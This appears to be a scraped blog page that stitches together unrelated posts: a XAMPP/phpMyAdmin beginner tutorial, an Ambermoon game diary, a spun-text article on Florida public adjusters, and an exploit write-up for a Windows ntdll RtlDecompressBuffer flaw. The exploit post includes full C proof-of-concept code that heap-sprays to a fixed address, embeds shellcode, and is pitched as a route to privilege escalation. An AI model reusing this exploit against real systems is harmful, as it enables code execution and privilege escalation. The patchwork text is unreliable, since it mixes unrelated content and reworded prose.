Friday, 26 May 2023

How To Start PHP And MYSQL | The Best Server For PHP And MYSQL | Tutorial 1


Many of people want to start PHP programming embedded with MYSQL databases concepts. So i thought that I should start a series about PHP and MYSQL. So in this series of video tutorials you exactly got the content about PHP and MYSQL.

As PHP is server side scripting language. So it requires a server to get execute over the web browser. First of all you have to download and install a server that may be XAMPP, WAMPP or LAMPP. I'm using XAMPP server in the tutorials. So if you wanna follow me then download a XAMPP server. I'm using this because it has a good interface to work  and it's really simple. XAMPP is compatible with windows, MAC and Linux operating as well. WAMPP is only for windows and LAMPP is used for MAC and Linux operating system. So i prefer XAMPP for this series.

How to create Database

Step 1:

Open Your XAMPP control panel and start Apache and Mysql services.

Step 2:

Go to your Web browser and type "localhost/phpmyadmin". It will open your databases area. If you have an error then your services are not in running state. If you have any error then comment below.

Step 3:

Click over the "new" to create a new database.

Step 4:

Write Database_Name and click over the Create button. For example Facebook, Students etc.

Step 5:

Write Table_Name like admin, users etc. your can increase and decrease the size of rows. Click over Save/Create button.

Step 6:

Write your Attribute_Names in first column like Username, Email, Passwords etc. In the next data type column you have to select the data type whether it is integer or string type etc. In the next column you have to set the length of string/words.

Step 7:

If you wanna go through with a Primary_Key. Then just you have to checked the Auto_Increment box as you will shown in the video. For further watch the video for better understanding. 


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Thursday, 25 May 2023

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

 
 
 
int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); } 

The attack vector
 
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
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Ambermoon: Frankreich Ist Speck

A pretty well in the center of town. I just haven't been able to find anything to do with it.
          
It is sixty years after the events of Amberstar. The hero is the granddaughter of the first game's hero, born two decades ago, just as the third moon fell out of orbit and crashed into the world of Lyramion. Orphaned during the devastation, she was raised by her grandfather, who is now on his deathbed. He has sent her from home on a vague quest to "find out what is happening . . . and what risks there are to you and life on Lyramion." To be successful in this quest, she'll need some magic armor, currently buried beneath a pile of rubble in her grandfather's basement. She has thus traveled west to the nearby city of Spannenberg, which has been invaded by bandits. They've stolen four golden horseshoes from the farrier, Tolimar. He'll give the heroine the tools she needs if she'll recover the shoes.
   
And thus this chapter opens in Spannenberg, which I think means something like "stretchy mountain" in German. The small city has a park with a well in its center. Ringed around the edges are a tavern, a stable, a food store, a general store, a healer, a training center, city hall, Baron George's compound, and a couple of private residences. 
     
Too bad I don't have Spike from the last game.
    
If you've played modern games like the Fallout series, the Elder Scrolls series, or the Dragon Age series, you've had this experience a thousand times: You visit a city for one reason and leave with a dozen main quests, side quests, and miscellaneous objectives. Ambermoon might be the earliest example of this common trope, albeit without an in-game quest list. That omission is fine with me, as I enjoy--prefer, even--keeping my own notes and quest lists. This is my list after my Spannenberg visit, including a couple items I had before I arrived:
    
  • Find some location to use Shandra's Amber to make contact with him.
  • Get tools from the Spannenberg stables to clear the rubble in grandfather's basement.
  • Recover the four stolen golden horseshoes for the owner of the Spannenberg stables.
  • Find the bandit camp in the desert north of Spannenberg and end the threat to the city.
  • Find the treasure that the bandits are searching for in the desert.
  • Deal with the band of orcs raiding the city from the mountains to the west.  
     
Lots of NPC dialogue about these orcs.
     
  • Investigate the supposed magic powers of the well at the center of the city.
  • Retrieve a brooch from the gardener in the graveyard, take it to the Thieves' Guild for entrance.
  • Put to rest the undead that the gardener, Gordon, has been raising.
  • Retrieve the golden wine goblets stolen from married couple Canth and Noralael, the first by a green creature with wings, the second by two bandits. 
  • The Baron is missing his chain of office. His wife, Lady Heidi, woke up to observe a couple of blue-green winged fairies gamboling about her house. She followed them to a cave west of town.
  • Explore an old crypt far to the north, near the Tower of the Alchemist, where powerful magicians (and perhaps their artifacts) are buried.
  • A man named Wat the Fisher is at the bedside of his daughter, who is dying of swamp fever. He wants me to ask Father Anthony about an antidote.
  • The healer, Sandra, hasn't heard anything lately from her daughter, Sabine, who practices in Burnville on an island to the south.
     
I guess when I find Sabine, she'll give me the cat's name.
     
  • The shipbuilder, Captain Torle, is also missing in Burnville. Without him, no new ships can be built.
  • Father Anthony has closed the Spring of Life, because of the orc threat, the bandit threat, or both.
  • An elf named Sandire is wandering around town, claiming she's been robbed by bandits. She's trying to sell a "Monster Eye," which tells you if monsters are following you, but she wants 5,000 gold.
     
The bandits are clearly the "main quest." Not only do I have to slay them to get the horseshoes and thus the tools, Baron George himself asked me to do so when I visited his office. He also asked me to deal with the orcs. 
      
The Baron has some amazing floor art.
      
The bandits are headquartered north of town in the desert, looking for some kind of treasure. The Baron says they're led by someone named Silverhand. He says that the masters of the Thieves' Guild have disavowed any relationship with the bandits, though he's not so sure. 
   
I find the town's graveyard during my explorations, and I'm attacked by a couple of zombies. My sword does nothing to them as they tear me apart with bows and blades. I'll have to return when stronger.
       
This did not end well.
       
In the "training centre," I find the first NPC who will join my party, a Level 1 human fighter named Egil. He's after the fortune and glory that the Baron has promised. He comes with padded armor, a long sword, a buckler, sandals, and a few potions.   
       
The first ally willing to put his sword where his mouth is.
   
The training center gives me my first taste of character development. It appears that every trainer specializes in a particular skill. This training center has two: attacking and parrying. Each point that you train costs 20 gold (at least, in this center), and each raises the associated skill by 1 point. I spend 5 on "Attacking" and 5 on "Parrying" and save the rest for now.
      
Half an hour every morning.
      
I haven't been noticing how training points increase per level. I started with 6 and got 5 when I hit Level 2, then somehow got 14 more in three levels. Maybe it's random. Similarly, my maximum hit points went up by 10 between Level 1 and Level 2 but then only 18 more between Levels 2 and 5. Attributes have not budged. The manual, I should note, has little to offer about these issues.
 
Next to the training center is a building housing the "Wise Men of Spannenberg." Their sign has some runes that I guess I haven't found the in-game document required to translate. One of them will identify items; the other sells spells. I'm a little bit confused as to how spells work in this game, and most of the scrolls are out of my price range, so I leave it for now.
    
I've been looting weapons and armor from the bandits. I'm eager to sell them to the merchant. I visit his store and he buys a dagger for 11 gold, then refuses to buy anything else that I have. But then I buy a rune table from him, and suddenly he's happy to buy all my excess stuff. Weird. I use the rune table, and it tells me that I can use the table of runes included in the package. Yay! The mage's guild sign translates as: "KNOWLEDGE IS POWER." Indeed.
       
Still can't use the map, though.
        
I'm not sure what to do with the well in the center of town. I figured it might be the place where I'm supposed to commune with Shandra, as the well, according to an NPC, was "built by a powerful magician when the town was founded." But using the amber doesn't accomplish anything there. I can't get anything to happen with the "Look" or "Grasp" buttons, either.
   
The House of Healing is the largest building in town. It has an inn, a scroll-seller, several NPCs recovering from wounds inflicted by orcs and bandits, and a healer named Sandra. The aforementioned Father Anthony is not here, having gone to administer last rites to a resident somewhere. One of the NPCs mentions that some orcs broke the wings on a "green fairy" and dragged her off; I'm not sure how this might relate to the various quests involving fairies. Perhaps they're compelling fairies to do their bidding by holding one of them hostage. 
      
Oh, my darlin'. . .
    
The healers' cook, Clementine, tells me of a mad mage in a cell in the basement. He arrived on the island after the Great Disaster, carrying half an amulet and a torn robe. Some farmers cared for him, but he's grown increasingly violent over the years. Clementine warns me not to approach him and to speak to him only through the bars. We head down, easily defeat some giant spiders at the foot of the stairs, and wander into the mage's room just in time to see him fireball a stray mouse. He cackles at us but doesn't respond to any dialogue options. A chest with his amulet is in a nearby room, but it's locked and I have no way to open it. I suppose this is a quest for later.
     
Egil and I head outside. We travel west into the mountains, round a volcano, and encounter a band of orcs. The leader is commanding his troops to search for more of "those bright-winged beings." By torturing one of them, they apparently found that they live in a cave in the area. They attack when they see us. Qamar is killed in the first round and Egil doesn't last much longer.  
      
Does this mean that Egil can continue the quest without the main character?
       
Reloading, I return to the merchant and splurge on some chain armor and leather boots. While I'm back in town, for no reason other than I don't want to remember it later, I spend 200 gold on horses. This puts a little horse icon outside of town, which you have to remember to mount when you leave. 
      
This is so cute.
      
Miscellaneous notes:
   
  • Either the bandit encounters occur at fixed points or their overall number is fixed. At some point, I stopped encountering them.
  • The game requires a certain amount of time to pass between rests. You can't rest just because you want the night to pass. This can make outdoor exploration annoying if you time things poorly.
       
My character is incapable of just passing time without sleeping.
      
  • If you try self-typed keywords in NPC dialogue, they remain in the dialogue list if they're words that someone, somewhere will respond to.
       
AMBER and AMULET got me no results with the madman, but they stayed on the list.
      
  • I keep being surprised at how non-interactive the overhead view of the game is. The houses and buildings have a lot of interesting objects, and I keep expecting that you should be able to do things with them, I guess since the game feels so much like an Ultima.
       
I feel like I should be able to do more here.
      
  • The "continuous" 3D interface is extremely cumbersome. It is too slow with a keyboard, comically fast with the mouse, and too easy to get turned around and lost with either method. Since the world is not interactive, there's really no need for it except that someone thought that it looked cool.
  • Mitigating the interface somewhat is the excellent automap with its fast travel options.
       
Once you've explored a map once, you hardly ever have to walk through it again. The fast travel points are copious.
     
I either have to get past one of these enemy obstacles or find some place to grind. I seem to remember that finding easy early-game combats was an issue in Amberstar, too. I'll probably head back to the cemetery next and see if my new equipment and skill points avail me at all against the zombies.
       
Maybe I'll do better this time.
        
I apologize for the long break before this entry--it was just a series of things that robbed me of my free time. May is a great time to start playing again, though. The weather is warm and sunny here in Maine, and nothing takes me back to my childhood more than sitting in a dark room playing a CRPG while a woman periodically tells me that I'm wasting a beautiful day indoors. Let's get on to the summer and waste plenty more!
    
Time so far: 6 hours
   

Sunday, 15 January 2023

Public Adjuster in Florida

A public adjuster is a professional who specializes in helping policyholders navigate the complicated process of recording and settling insurance claims. They work on behalf of the policyholder, rather than the insurance company, to ensure that the policyholder receives a fair and just settlement for their loss.
 

Why Hire a Public Insurance Adjuster?

At the point when a homeowner experiences a loss, such as a fire or flood, they may file an insurance claim with their homeowner's insurance strategy. The claim process can be overpowering and tedious, especially for those who are not familiar with the intricacies of insurance policies and the claims process. This is where a public insurance adjuster can help.
 
An insurance adjuster is a professional who is trained and experienced in evaluating and settling insurance claims. They understand the terms and conditions of insurance policies and can help the policyholder understand their coverage and the claim process. They can also assist with gathering and presenting proof to support the claim, such as photographs and estimates of the damage.
 

How a Public Adjuster Works

At the point when a policyholder chooses to hire a public adjuster, the adjuster will evaluate the policyholder's strategy and the damage to the property. They will then file the claim on behalf of the policyholder and handle all communication with the insurance company.
 
The public adjuster will also attempt to negotiate a fair settlement with the insurance company. They will present proof and arguments to support the policyholder's claim and attempt to ensure that the policyholder receives a fair payout.
 

Why Choose a Public Adjuster over an Insurance Company Adjuster?

At the point when a policyholder files a claim, the insurance company will often send one of their own adjusters to evaluate the damage and decide the payout. In any case, these adjusters work for the insurance company and may not always have the policyholder's best interests as a top priority.
 
A public adjuster, then again, is an independent insurance professional who works solely for the policyholder. They have no allegiance to the insurance company and are motivated to ensure that the policyholder receives a fair settlement.
 

What to Consider While Hiring a Public Adjuster

On the off chance that you are considering hiring a public adjuster, there are a couple of things to remember. Firstly, public adjusters typically charge a fee for their services. This fee is usually a percentage of the final settlement. It is important to understand what the fee will be and the way that it will be calculated prior to hiring a public adjuster.
 
Secondly, finding a reputable and experienced public adjuster is important. The National Association of Public Insurance Adjusters (NAPIA) is a professional association of public insurance adjusters and can be a decent resource for finding a qualified public adjuster in your area.
 
In conclusion, hiring a public adjuster can be a valuable resource for policyholders navigating the claims process. A public adjuster can help to ensure that the policyholder receives a fair settlement and can take on the weight of communicating with the insurance company. In any case, it is important to understand the costs and qualifications of the public adjuster prior to hiring one.